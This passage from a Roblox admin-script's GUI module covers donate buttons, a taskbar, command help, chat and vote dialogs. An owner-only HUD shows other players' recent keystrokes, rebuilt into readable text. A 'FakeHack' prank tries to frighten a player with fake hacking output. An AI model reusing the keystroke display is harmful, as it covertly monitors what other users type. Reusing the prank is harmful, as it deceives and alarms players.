4639 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4640 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4641 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4642 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4643 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4644 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4645
4646 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4647
4648 if Closed then
4649 Closed.Event:connect(function()
4650 Open = false
4651 end)
4652 end
4653 else
4654 CloseForm:Invoke()
4655 end
4656 end) end)()
4657 if RANK:GetRank(Player) == "Owner" then
4658 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4659 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4660 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4661 if HUDSG then
4662 HUDSG:Destroy()
4663 else
4664 GUI:CreateHUD(Player)
4665 end
4666 end)
4667 end
4668 end
4669
4670 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4671 if IsMoving == false then
4672 if TaskBarShown == true then
4673 TaskBarShown = false
4674 IsMoving = true
4675 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4676 else
4677 TaskBarShown = true
4678 IsMoving = true
4679 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4680 end
4681 end
4682 end)
4683
4684 local function ReloadIcons()
4685 for Num,Data in pairs(Tasks) do
4686 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4687 end
4688 end
4689
4690 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4691 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4692 table.insert(Tasks, {Form, Icon})
4693 local CanClick = true
4694 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4695 if Form.IsActive.Value == false then
4696 Restore:Invoke()
4697 elseif CanClick == true then
4698 coroutine.wrap(function()
4699 CanClick = false
4700 local DefPos = Form.Dragger.Position
4701 for i = 1,15 do
4702 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4703 wait(0.05)
4704 end
4705 Form.Dragger.Position = DefPos
4706 CanClick = true
4707 end)()
4708 end
4709 end)
4710 ReloadIcons()
4711
4712 Closed.Event:connect(function()
4713 for Num,Data in pairs(Tasks) do
4714 if Data[1] == Form then
4715 Icon:Destroy()
4716 table.remove(Tasks, Num)
4717 end
4718 end
4719 ReloadIcons()
4720 end)
4721 end)
4722end
4723
4724function GUI:ShowDebtStats(Player, ManualText)
4725 local Text = ManualText
4726 if not ManualText then
4727 Text = "CANNOT GET STATISTICS"
4728 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4729 if RawPage then
4730 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4731 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4732 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4733 end
4734 end
4735
4736 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4737 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4738
4739 return Text
4740end
4741
4742function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4743 if not Player then return nil end
4744 if not CommandTrigger then return nil end
4745
4746 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4747
4748 local CommandKey = CommandTrigger
4749
4750 if not Commands[CommandKey] then
4751 for CommandNames,_ in pairs(Commands) do
4752 for _,CommandName in pairs(CommandNames) do
4753 if CommandName == CommandKey then
4754 CommandKey = CommandNames
4755 end
4756 end
4757 end
4758 end
4759
4760 local CommandData = Commands[CommandKey]
4761
4762 local BodyText = "No valid command has been entered"
4763 local TitleText = "Error"
4764 local CanExe = false
4765 if CommandData then
4766 if Dialog then
4767 Dialog:Invoke(true)
4768 end
4769 local PlayerRank = RANK:GetRank(Player)
4770 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4771 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4772
4773 TitleText = "Command: "..CommandKey[1]
4774 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4775
4776
4777Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4778
4779
4780Description: ]]..CommandData[2]..[[
4781
4782
4783Arguments: ]]..CommandData[3]..[[
4784
4785
4786Minimum rank needed: ]]..CommandData[4]..[[
4787
4788
4789Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4790
4791
4792Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4793
4794
4795Http Command ]]..STRING:BoolString(CommandData.Http)
4796 end
4797
4798 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4799 if Dialog then
4800 Closed.Event:connect(function() Dialog:Invoke(false) end)
4801 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4802 end
4803end
4804
4805function GUI:CreateHUD(Speaker)
4806 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4807
4808 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4809 if SG then SG:Destroy() end
4810 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4811
4812 local function AddHUD(Player, Char)
4813 if not Char or not Char:FindFirstChild("Head") then return nil end
4814
4815 local Rank = RANK:GetRank(Player)
4816 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4817 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4818 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4819 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4820 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4821 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4822 InfoLabel.Text = "Name: "..Player.Name..[[
4823Rank: ]]..RANK:GetRank(Player)..[[
4824Age: ]]..STRING:FindAge(Player.AccountAge)
4825 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4826 InfoLabel.Text = InfoLabel.Text..[[
4827Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4828 end
4829 if LastKeys[Player.UserId] then
4830 local Keys = ""
4831 local KeyLog = {}
4832 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4833 table.insert(KeyLog, KeyData[1])
4834 if KeyData[2] == 8 then
4835 Keys = string.sub(Keys, 1, #Keys - 1)
4836 elseif KeyData[2] == 13 then
4837 Keys = Keys.." "
4838 else
4839 Keys = Keys..string.char(KeyData[2])
4840 end
4841 end
4842 KeyLabel.Text = table.concat(KeyLog, "\n")
4843 KeyOutput.Text = Keys
4844 end
4845 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4846 end end)()
4847
4848 local CharRev,Removing = nil,nil
4849 CharRev = Player.CharacterRemoving:connect(function()
4850 PlayerHUD:Destroy()
4851 CharRev:disconnect()
4852 Removing:disconnect()
4853 end)
4854 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4855 PlayerHUD:Destroy()
4856 CharRev:disconnect()
4857 Removing:disconnect()
4858 end end)
4859 end
4860
4861 local function ConnectHUD(Player)
4862 if Player ~= Speaker then
4863 if Player.Character then
4864 AddHUD(Player, Player.Character)
4865 end
4866
4867 Player.CharacterAdded:connect(function(Char)
4868 if Speaker then
4869 AddHUD(Player, Char)
4870 else return nil
4871 end
4872 end)
4873 end
4874 end
4875
4876 for _,Player in pairs(Server.Players:GetPlayers()) do
4877 ConnectHUD(Player)
4878 end
4879
4880 Server.Players.PlayerAdded:connect(ConnectHUD)
4881end
4882
4883function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4884 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4885 local Stopped = false
4886
4887 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4888 Frame.Size = UDim2.new(1, 0, 1, -30)
4889 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4890
4891 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4892 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4893 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4894
4895 local function AddLine(Speaker, MessageText, MessageColor)
4896 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4897 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4898 if not MessageColor then MessageColor = GUI:ContrastColor() end
4899 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4900 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4901 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4902 Bounds.Parent = Frame
4903 end
4904
4905 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4906
4907 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4908 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4909 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4910
4911 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4912 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4913
4914 CORE:ExecuteResource("MessagePromptHandler", Frame)
4915
4916 wait(0.1)
4917
4918 if PreAdd then
4919 for Num,Add in pairs(PreAdd) do
4920 AddLine(Add[1], Add[2], Add[3])
4921 end
4922 end
4923
4924 --[[
4925 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4926
4927 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4928 if ChatBox.Text == "Click here or press the '-' key" then
4929 ChatBox.Text = ""
4930 end
4931 end)
4932 ]]
4933
4934 local function FireSendPressed()
4935 local Text = CORE:ReadProperty(RPR, Player, "Text")
4936 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4937 SendPressed:Fire(Text)
4938 FakeCB.Visible = true
4939 ClearCB:InvokeClient(Player)
4940 end
4941 end
4942
4943 Closed.Event:connect(function()
4944 if Stopped == false then
4945 Stopped = true
4946 if SpeakerEvents then SpeakerEvents("Leave") end
4947 end
4948 end)
4949
4950 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4951
4952 AddMessage.OnInvoke = AddLine
4953
4954 if SpeakerEvents then
4955 SpeakerEvents("Join")
4956
4957 coroutine.wrap(function()
4958 repeat wait() until not Frame or not Frame.Parent
4959 if Stopped == false then
4960 Stopped = true
4961 SpeakerEvents("Leave")
4962 end
4963 end)()
4964 end
4965
4966 return SendPressed, AddMessage
4967end
4968
4969function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4970 if tonumber(Time) then ShowFormButtons = false end
4971 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4972 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4973 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4974 local Clicked = nil
4975 local Alive = true
4976
4977 local function ClosePrompt(ButtonName)
4978 Alive = false
4979 Close:Invoke()
4980 Clicked = ButtonName
4981 end
4982
4983 for Num,Select in pairs(Buttons) do
4984 local Name = Select
4985 local Style = "White"
4986 local TextColor3 = Color3.new(0,0,0)
4987 if type(Select) == "table" then
4988 Name = Select[1]
4989 if Select[2] then Style = Select[2] end
4990 if Select[3] then TextColor3 = Select[3] end
4991 elseif type(Select) == "string" then
4992 local Case = string.lower(Select)
4993 if Case == "ok" then
4994 Name = "Ok"
4995 Style = "Primary"
4996 TextColor3 = Color3.new(1,1,1)
4997 elseif Case == "yes" then
4998 Name = "Yes"
4999 Style = "Gray"
5000 TextColor3 = Color3.new(0,1,0)
5001 elseif Case == "no" then
5002 Name = "No"
5003 Style = "Red"
5004 TextColor3 = Color3.new(1,0,0)
5005 end
5006 end
5007
5008 if Style == "None" then Style = "Custom" end
5009 if Style == "Casual" then Style = "RobloxButton" end
5010 if Style == "Red" then Style = "RobloxButtonDefault" end
5011 if Style == "Gray" then Style = "RobloxRoundButton" end
5012 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
5013 if Style == "White" then Style = "RobloxRoundDropdownButton" end
5014
5015 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
5016 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
5017 SOUND:BindButton(Button)
5018 end
5019
5020 if tonumber(Time) then
5021 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
5022 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
5023 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
5024
5025 for i = Time,0,-1 do
5026 for ii = 1,10 do
5027 if Alive == true then
5028 Ticker.Text = i
5029 wait(0.1)
5030 else
5031 break
5032 end
5033 end
5034 end
5035 if Alive == true then
5036 ClosePrompt()
5037 end
5038 end
5039
5040 repeat wait() until Alive == false
5041 return Clicked
5042end
5043
5044function GUI:Vote(Speaker, Players, Text, Time)
5045 if not Players or not Text or #Players <= 0 then return end
5046
5047 local Votes = {}
5048 local Tick = 0
5049
5050 for _,Player in pairs(Players) do
5051 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
5052 local CanVote = true
5053 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
5054 if CanVote == true then
5055 coroutine.wrap(function()
5056 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
5057 if Answer == nil then Answer = "Unknown" end
5058 table.insert(Votes, Answer)
5059 end)()
5060 end
5061 end
5062 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
5063 wait(2)
5064 if Speaker and Speaker:FindFirstChild("PlayerGui") then
5065 local Total = #Players
5066 local Yes,No,Unknown = 0,0,0
5067 for _,Vote in pairs(Votes) do
5068 if Vote == "Yes" then Yes = Yes + 1
5069 elseif Vote == "No" then No = No + 1
5070 end
5071 end
5072 Unknown = #Players - #Votes
5073
5074 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
5075 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
5076 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
5077]]..Yes.."/"..Total..[[
5078]]..math.ceil((Yes/Total)*100).."% "
5079 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
5080]]..No.."/"..Total..[[
5081]]..math.ceil((No/Total)*100).."% "
5082 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
5083]]..Unknown.."/"..Total..[[
5084]]..math.ceil((Unknown/Total)*100).."% "
5085 end
5086end
5087
5088--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
5089
5090function GUI:LoadGui(Player, Text, InfoText)
5091 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5092 local Dead = false
5093
5094 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
5095 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
5096 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
5097 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
5098 if InfoText then Info.Text = InfoText end
5099
5100 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
5101 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
5102
5103 CloseGui.OnInvoke = function()
5104 Close:Invoke()
5105 Dead = true
5106 end
5107 AddInfo.OnInvoke = function(AddText)
5108 Info.Text = AddText
5109 end
5110
5111 coroutine.wrap(function()
5112 for i = 0,math.huge,3 do
5113 if Dead == false and Frame then
5114 WaitIcon.Rotation = i
5115 wait()
5116 else
5117 break
5118 end
5119 end
5120 end)()
5121
5122 coroutine.wrap(function()
5123 while Dead == false and Frame do
5124 wait(0.5)
5125 LoadLabel.Text = Text.."."
5126 wait(0.5)
5127 LoadLabel.Text = Text..".."
5128 wait(0.5)
5129 LoadLabel.Text = Text.."..."
5130 wait(0.5)
5131 LoadLabel.Text = Text..".."
5132 wait(0.5)
5133 LoadLabel.Text = Text.."."
5134 wait(0.5)
5135 LoadLabel.Text = Text
5136 end
5137 end)()
5138
5139 wait(1)
5140
5141 return CloseGui, AddInfo
5142end
5143
5144function GUI:FakeHack(Player) coroutine.wrap(function()
5145 if not Player or not Player:FindFirstChild("PlayerGui") then return end
5146 local FakeText = [[
5147>SHELL: BEGIN
5148>RUNCODE:
5149return {
5150 local Hack = {"Account", "Tix", "Robux"};
5151 function Start(Type, Inject, Scan)
5152 if not Inject then Inject = "In-Game" end
5153 return {Type, Inject, Scan}
5154 end
5155 for Exe,Exploit in pairs(Hack) do
5156 local IP = Start("In-Game",Exploit,
5157 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5158 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5159 )
5160 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5161 for i = 1,#Injection[2] do
5162 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5163 end
5164 local PlayerProxy = newproxy(true)
5165 setmetatable(PlayerProxy,Injection[3],{
5166 __index = function(StealData, ...) local Data = unpack(...)
5167 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5168 end;
5169 })
5170 end
5171 Log("HACKED HOST: PLAYERNAME")
5172}
5173>HACKED HOST: PLAYERNAME
5174
5175]]
5176 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5177 if SG then SG:Destroy() end
5178 SG = Instance.new("ScreenGui", Player.PlayerGui)
5179 SG.Name = "MML Hack Gui"
5180 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5181 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5182 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5183 for i = 1,#FakeText do
5184 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5185 if math.random(1,5) == 1 then
5186 wait()
5187 end
5188 end
5189 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5190 wait(3)
5191 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5192fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5193 X.Visible = true
5194end)() end
5195
5196function GUI:CommandBar(Player)
5197 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5198
5199 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
